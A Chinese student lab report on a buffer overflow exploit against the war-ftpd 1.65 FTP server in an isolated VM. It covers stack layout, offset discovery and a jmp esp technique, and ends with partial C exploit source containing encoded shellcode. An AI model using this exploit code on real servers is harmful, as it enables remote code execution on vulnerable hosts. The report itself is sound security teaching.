网络攻击与防范实验报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

网络攻击与防范实验报告

姓名:_ ___ 学号:__ 所在班级:

实验名称:缓冲区溢出实验实验日期:2014 年11 月9 日指导老师:张玉清实验评分:

验收评语:

实验目的:

1、掌握缓冲区溢出的原理

2、掌握常用的缓冲区溢出方法

3、理解缓冲区溢出的危害性

4、掌握防范和避免缓冲区溢出攻击的方法

实验环境:

主机系统:Windows8 x64位

虚拟机系统:Windows XP(SP3)(IP:192.168.137.128)

溢出对象:war-ftpd 1.65

调试工具:CDB(Debugging Tools for Windows);

开发环境:Visual Studio 2013

开发语言:C语言

缓冲区溢出原理:

在metasploit中搜索war-ftp可以发现war-ftpd1.65在windows下有以下漏洞username overflow,也就是在用户使用user username这个指令时,如果username 过长就会发生缓冲区溢出。

计算机在调用函数function(arg1,…,argm)时,函数栈的布局如图1所示,首先将函数的实参从右往左依次压栈,即argm,…,arg1。然后将函数返回地址RET压栈。这时EBP 指向当前函数的基地址,ESP指向栈顶,将此时的EBP压栈,然后ESP的值赋给EBP,这样EBP就指向新的函数栈的基地址。调用函数后,再将局部变量依次压栈,这时ESP始终指向栈顶。

另外还有一个EIP寄存器,EIP中存放的是下一个要执行的指令的地址,程序崩溃时EIP的值就是RET。通过构造特殊的字符串,即两两都不相同的字符串,我们可以根据EIP 的值定位RET的位置。

知道了RET的位置以后,我们只要在RET这个位置放上我们想要执行的跳转指令就可以实现跳转。为了方便我们找一个系统中现成的指令jmp esp来实现跳转。jmp esp指令在内存中的通用地址是0x7ffa4512,可以通过CDB的U 7ffa4512来确定该地址中存放的是否为jmp esp。

jmp esp将EIP指向了esp指向的位置,我们用定位RET的办法同样定位ESP指向的位置,然后用shellcode替换这块字符串,这样计算机就会执行shellcode,从而实现攻击。

当然,我们还可以用其他的指令,如jmp esi,同样得到jmp esi指令在系统内存中的地址,以及esi指向的内存,我们就可以执行shellcode。也可以使用多次跳转。

图 1 函数栈的布局

实验步骤:

1、 测试漏洞是否存在

1) 在虚拟机上用CDB 将war-ftpd.exe 挂起

2) 使用主机与虚拟机上的war-ftpd 建立连接

>ftp –n

>open192.168.137.128 >user ‘A’*10000

3)溢出成功,CDB捕获到war-ftpd异常,EIP被“AAAA”覆盖。ESP指向的位置也

全是字符‘A’。

2、定位RET在字符串中的位置以及ESP指向的位置。

1)使用patternCreate构造1000个不一样字符构成的字符串

2)在虚拟机上用CDB将war-ftpd.exe挂起

3)再次使用主机与虚拟机上的war-ftpd建立连接

>ftp –n

>open192.168.137.128

>user str不同字符的字符串

4)程序溢出,EIP=32714131,ESP指向的位置中存放的是71413471

5)利用patternOffset定位RET和ESP指向的位置,RET的相对位置是485,ESP

的相对位置是493

6)构造字符串,编写攻击程序。

04938291000

附:攻击程序源代码

#include"stdafx.h"

#include

#pragma comment(lib, "ws2_32")

int_tmain(int argc, _TCHAR* argv[])

{

char shellcode[] =

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49""\x49\x49\x49\x49\x49 \x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42""\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\ x52\x32\x41\x42\x41\x32""\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x 4a""\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c""\x4b\x73\x4c\x74\ x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57""\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x 5a\x4b\x67\x39\x4c\x4b\x50""\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4 c\x4d""\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f""\x32\x4a\x4b\x 58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a""\x45\x6c\x4b\x53\x6f\x51\x34\x37\x7 1\x48\x6b\x51\x76\x4c\x4b\x76""\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c \x4b\x65""\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78""\x43\x74\x7 1\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f""\x30\x41\x68\x44\x4c\x4e\x6b\x63 \x70\x44\x4c\x6e\x6b\x30\x70\x65""\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\ x4c\x4b\x4d""\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31""\x4f\x66 \x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69""\x50\x31\x6b\x76\x30\x55\x38\ x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61""\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x 4f\x4b\x57\x70""\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";

char jumpesp[] = "\x12\x45\xfa\x7f ";

WSADATA WSAData;

char Buff[1000], Recv[1024];

int nRet;

struct sockaddr_in ipAddress;

SOCKET s;

if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)

{

printf("[-] WSAStartup failed.\n");

WSACleanup();

exit(1);

}

s = socket(AF_INET, SOCK_STREAM, 0);

ipAddress.sin_family = AF_INET;

ipAddress.sin_addr.s_addr = inet_addr("192.168.137.128");

ipAddress.sin_port = htons(21);

try{ connect(s, (struct sockaddr *)&ipAddress, sizeof(ipAddress)); }

catch (...){

printf("connection error");

}

memset(Buff, 0x41, sizeof(Buff) - 1);

memcpy(&Buff[485], jumpesp, sizeof(jumpesp) - 1);

memcpy(&Buff[493], shellcode, sizeof(shellcode) - 1);

Buff[493 + sizeof(shellcode) - 1] = '\0';

相关文档
最新文档